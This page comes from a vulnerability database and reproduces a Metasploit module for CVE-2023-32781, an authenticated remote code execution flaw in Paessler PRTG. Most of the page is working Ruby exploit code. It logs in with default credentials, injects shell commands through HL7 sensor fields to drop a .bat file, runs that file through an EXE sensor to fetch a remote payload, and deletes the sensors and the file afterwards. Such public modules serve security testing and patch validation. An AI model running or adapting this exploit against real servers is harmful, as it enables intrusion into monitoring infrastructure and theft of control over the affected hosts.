Lucene search
K

PRTG Authenticated Remote Code Execution

🗓️ 23 Jan 2024 00:00:00Reported by Kevin Joensen, metasploit.comType 
packetstorm
 packetstorm
🔗 packetstormsecurity.com👁 435 Views

PRTG Authenticated RCE in Paessler PRTG app, allowing remote code execution

Related
Code
ReporterTitlePublishedViews
Family
0day.today
PRTG Authenticated Remote Code Execution Exploit
24 Jan 202400:00
zdt
ATTACKERKB
CVE-2023-32781
9 Aug 202312:15
attackerkb
Circl
CVE-2023-32781
9 Aug 202318:08
circl
CNNVD
Paessler PRTG Network Monitor Command Injection Vulnerability
9 Aug 202300:00
cnnvd
CVE
CVE-2023-32781
9 Aug 202300:00
cve
Cvelist
CVE-2023-32781
9 Aug 202300:00
cvelist
Metasploit
PRTG CVE-2023-32781 Authenticated RCE
22 Jan 202419:50
metasploit
NVD
CVE-2023-32781
9 Aug 202312:15
nvd
OSV
CVE-2023-32781
9 Aug 202312:15
osv
Prion
Command injection
9 Aug 202312:15
prion
Rows per page
`class MetasploitModule < Msf::Exploit::Remote  
Rank = ExcellentRanking  
include Msf::Exploit::Remote::HttpClient  
include Msf::Exploit::CmdStager  
include Msf::Exploit::Retry  
  
def initialize(info = {})  
super(  
update_info(  
info,  
'Name' => 'PRTG CVE-2023-32781 Authenticated RCE',  
'Description' => %q{  
Authenticated RCE in Paessler PRTG  
},  
'License' => MSF_LICENSE,  
'Author' => ['Kevin Joensen <kevin[at]baldur.dk>'],  
'References' => [  
[ 'URL', 'https://baldur.dk/blog/prtg-rce.html'],  
[ 'CVE', '2023-32781']  
],  
'DisclosureDate' => '2023-08-09',  
'Platform' => 'win',  
'Arch' => [ ARCH_X86, ARCH_X64 ],  
'Targets' => [  
[  
'Windows_Fetch',  
{  
'Arch' => [ ARCH_CMD ],  
'Platform' => 'win',  
'DefaultOptions' => { 'FETCH_COMMAND' => 'CURL' },  
'Type' => :win_fetch  
}  
],  
[  
'Windows_CMDStager',  
{  
'Arch' => [ ARCH_X64, ARCH_X86 ],  
'Platform' => 'win',  
'Type' => :win_cmdstager,  
'CmdStagerFlavor' => [ 'psh_invokewebrequest' ]  
}  
]  
],  
'DefaultTarget' => 0,  
  
'DefaultOptions' => {},  
'Notes' => {  
'Stability' => [CRASH_SAFE],  
'Reliability' => [REPEATABLE_SESSION],  
'SideEffects' => [ARTIFACTS_ON_DISK, IOC_IN_LOGS]  
}  
)  
)  
  
register_options(  
[  
OptString.new(  
'USERNAME',  
[ true, 'The username to authenticate with', 'prtgadmin' ]  
),  
OptString.new(  
'PASSWORD',  
[ true, 'The password to authenticate with', 'prtgadmin' ]  
),  
OptString.new(  
'TARGETURI',  
[ true, 'The URI for the PRTG web interface', '/' ]  
)  
]  
)  
end  
  
def check  
begin  
res = send_request_cgi({  
'method' => 'GET',  
'uri' => normalize_uri(datastore['URI'], '/index.htm')  
})  
rescue ::Rex::ConnectionRefused, ::Rex::HostUnreachable, ::Rex::ConnectionTimeout, ::Rex::ConnectionError  
return CheckCode::Unknown  
ensure  
disconnect  
end  
  
if res && res.code == 200  
prtg_server_header = res.headers['Server']  
  
if (prtg_server_header.include? 'PRTG') || (html.to_s.include? 'PRTG')  
return CheckCode::Detected  
end  
end  
  
return CheckCode::Unknown  
end  
  
def exploit  
@sensors_to_delete = []  
  
connect  
case target['Type']  
when :win_cmdstager  
execute_cmdstager  
when :win_fetch  
execute_command(payload.encoded)  
end  
end  
  
def on_new_session(client)  
super  
@sensors_to_delete.each do |sensor_id|  
delete_sensor_by_id(sensor_id)  
end  
print_good('Session created')  
end  
  
def execute_command(cmd, _opts = {})  
print_status('Running PRTG RCE exploit')  
authenticate_prtg  
bat_file_name = write_bat_file_to_disk(cmd)  
run_bat_file_from_disk(bat_file_name)  
print_status('Exploit done')  
handler  
end  
  
def authenticate_prtg  
print_status('Authenticating against PRTG')  
res = send_request_cgi({  
'method' => 'POST',  
'uri' => normalize_uri(target_uri.path, 'public', 'checklogin.htm'),  
'keep_cookies' => true,  
'vars_post' => {  
'username' => datastore['USERNAME'],  
'password' => datastore['PASSWORD']  
}  
})  
unless res  
fail_with(Failure::NoAccess, 'Failure to connect to PRTG')  
end  
if res && res.code == 302 && res.get_cookies  
print_good('Successfully authenticated against PRTG')  
else  
fail_with(Failure::NoAccess, 'Failure to authenticate against PRTG')  
end  
end  
  
def get_csrf_token  
res = send_request_cgi({  
'method' => 'GET',  
'uri' => normalize_uri(target_uri.path, 'welcome.htm'),  
'keep_cookies' => true  
})  
  
if res.nil? || res.body.nil?  
fail_with(Failure::NoAccess, 'Page with CSRF token not available')  
end  
  
regex = /csrf-token" content="([^"]+)"/  
token = res.body[regex, 1]  
  
print_status("Extracted csrf token: #{token}")  
token  
end  
  
def delete_sensor_by_id(sensor_id)  
print_status("Deleting sensor #{sensor_id}")  
csrf_token = get_csrf_token  
  
res = send_request_cgi({  
'method' => 'POST',  
'uri' => normalize_uri(target_uri.path, 'api', 'deleteobject.htm'),  
'keep_cookies' => true,  
'headers' => {  
'anti-csrf-token' => csrf_token,  
'X-Requested-With' => 'XMLHttpRequest'  
},  
'vars_post' => {  
id: sensor_id,  
approve: 1  
}  
})  
  
if res.nil? || res.body.nil?  
fail_with(Failure::NoAccess, 'Sensor deletion failed')  
end  
end  
  
def get_created_sensor_id(sensor_name)  
print_status('Fetching created sensor id')  
  
res = send_request_cgi({  
'method' => 'GET',  
'uri' => normalize_uri(target_uri.path, 'controls', 'deviceoverview.htm'),  
'keep_cookies' => true,  
'vars_get' => {  
'id' => 40  
}  
})  
  
if res.nil? || res.body.nil?  
fail_with(Failure::NoAccess, 'Page with sensorid not available')  
end  
  
regex = /id=([0-9]+)">#{sensor_name}/  
sensor_id = res.body[regex, 1]  
  
print_status("Extracted sensor_id: #{sensor_id}")  
sensor_id  
end  
  
def run_sensor_with_id(sensor_id)  
csrf_token = get_csrf_token  
res = send_request_cgi({  
'method' => 'POST',  
'uri' => normalize_uri(target_uri.path, 'api', 'scannow.htm'),  
'keep_cookies' => true,  
'headers' => {  
'anti-csrf-token' => csrf_token,  
'X-Requested-With' => 'XMLHttpRequest'  
},  
'vars_post' => {  
id: sensor_id  
}  
})  
  
if res && res.code == 200  
print_good('Sensor started running')  
else  
fail_with(Failure::NoAccess, 'Failure to run sensor')  
end  
end  
  
def write_bat_file_to_disk(cmd)  
# Uses the HL7Sensor for writing a .bat file to the disk  
cmd = cmd.gsub! '\\', '\\\\\\'  
print_status('Writing .bat to disk')  
  
csrf_token = get_csrf_token  
  
# Generate a random sensor name  
sensor_name = Rex::Text.rand_text_alphanumeric(8..10)  
bat_file_name = "#{Rex::Text.rand_text_alphanumeric(8..10)}.bat"  
  
# Clean up the .bat file  
cmd = "#{cmd} & del %0"  
  
print_status("Generated sensor_name #{sensor_name}")  
print_status("Generated bat_file_name #{bat_file_name}")  
  
params = {  
'name_' => sensor_name,  
'parenttags_' => '',  
'tags_' => 'dicom hl7',  
'priority_' => '3',  
'port_' => '104',  
'timeout_' => '60',  
'override_' => '0',  
'sendapp_' => Rex::Text.rand_text_alphanumeric(4..5),  
'sendfac_' => Rex::Text.rand_text_alphanumeric(4..5),  
'recvapp_' => Rex::Text.rand_text_alphanumeric(4..5),  
'recvfac_' => "#{Rex::Text.rand_text_alphanumeric(4..5)}\" -debug=\"..\\Custom Sensors\\EXE\\#{bat_file_name}\" -recvapp=\"#{Rex::Text.rand_text_alphanumeric(4..5)}",  
'hl7file_' => "ADT_& #{cmd} & A08.hl7|ADT_A08.hl7||",  
'hl7filename' => '',  
'intervalgroup' => ['0', '1'],  
'interval_' => '60|60 seconds',  
'errorintervalsdown_' => '1',  
'inherittriggers' => '1',  
'id' => '40',  
'sensortype' => 'hl7',  
'tmpid' => '2',  
'anti-csrf-token' => csrf_token  
}  
  
res = send_request_cgi({  
'method' => 'POST',  
'uri' => normalize_uri(target_uri.path, 'addsensor5.htm'),  
'keep_cookies' => true,  
'vars_post' => params  
})  
  
unless res  
fail_with(Failure::NoAccess, 'Failure to connect to PRTG')  
end  
  
if res && res.code == 302  
print_good('HL7 Sensor succesfully created')  
else  
fail_with(Failure::NoAccess, 'Failure to create HL7 sensor')  
end  
# Actually creating the sensor can take 1-2 seconds  
print_status('Checking for sensor creation')  
sensor_id = retry_until_truthy(timeout: 10) do  
get_created_sensor_id(sensor_name)  
end  
  
print_status('Requesting HL7 Sensor to initiate scan')  
  
run_sensor_with_id(sensor_id)  
@sensors_to_delete.push(sensor_id)  
  
print_good('.bat file written to disk')  
bat_file_name  
end  
  
def run_bat_file_from_disk(bat_file_name)  
print_status("Running the .bat file: #{bat_file_name}")  
csrf_token = get_csrf_token  
sensor_name = Rex::Text.rand_text_alphanumeric(8..10)  
  
params = {  
'name_' => sensor_name,  
'parenttags_' => '',  
'tags_' => 'exesensor',  
'priority_' => '3',  
'scriptplaceholdergroup' => '1',  
'scriptplaceholder1description_' => '',  
'scriptplaceholder1_' => '',  
'scriptplaceholder2description_' => '',  
'scriptplaceholder2_' => '',  
'scriptplaceholder3description_' => '',  
'scriptplaceholder3_' => '',  
'scriptplaceholder4description_' => '',  
'scriptplaceholder4_' => '',  
'scriptplaceholder5description_' => '',  
'scriptplaceholder5_' => '',  
'exefile_' => "#{bat_file_name}|#{bat_file_name}||",  
'exefilelabel' => '',  
'exeparams_' => '',  
'environment_' => '0',  
'usewindowsauthentication_' => '0',  
'mutexname_' => '',  
'timeout_' => '60',  
'valuetype_' => '0',  
'channel_' => 'Value',  
'unit_' => '#',  
'monitorchange_' => '0',  
'writeresult_' => '0',  
'intervalgroup' => '0',  
'interval_' => '43200|12 hours',  
'errorintervalsdown_' => '1',  
'inherittriggers' => '1',  
'id' => '40',  
'sensortype' => 'exe',  
'tmpid' => '6',  
'anti-csrf-token' => csrf_token  
}  
  
res = send_request_cgi({  
'method' => 'POST',  
'uri' => normalize_uri(target_uri.path, 'addsensor5.htm'),  
'keep_cookies' => true,  
'vars_post' => params  
})  
  
unless res  
fail_with(Failure::NoAccess, 'Failure to connect to PRTG')  
end  
  
if res && res.code == 302  
print_status('EXE Script sensor created')  
else  
fail_with(Failure::NoAccess, 'Failure to create EXE Script sensor')  
end  
  
print_status('Checking for sensor creation')  
  
sensor_id = retry_until_truthy(timeout: 10) do  
get_created_sensor_id(sensor_name)  
end  
run_sensor_with_id(sensor_id)  
@sensors_to_delete.push(sensor_id)  
print_good('Exploit completed. Waiting for payload')  
end  
end  
`

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation